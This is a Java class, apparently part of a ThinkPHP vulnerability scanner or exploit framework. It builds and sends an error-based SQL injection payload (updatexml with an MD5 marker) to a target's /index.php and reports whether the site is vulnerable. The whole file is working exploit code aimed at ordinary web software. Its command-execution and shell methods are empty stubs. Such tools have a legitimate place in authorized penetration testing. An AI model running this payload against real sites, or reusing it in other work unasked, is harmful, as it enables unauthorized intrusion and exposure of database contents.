content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  public class tp_update_sql implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String payload = url + "/index.php?money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20md5(520)),0x7e),1))";
          try {
              String res = HttpRequest.get(payload).body();
              if (res.contains("cf67355a3333e6e143439161adc2d82")) {
                  return new Result(true, "ThinkPHP update sql注入", payload);
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
  
          return new Result(false, "ThinkPHP update sql注入", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  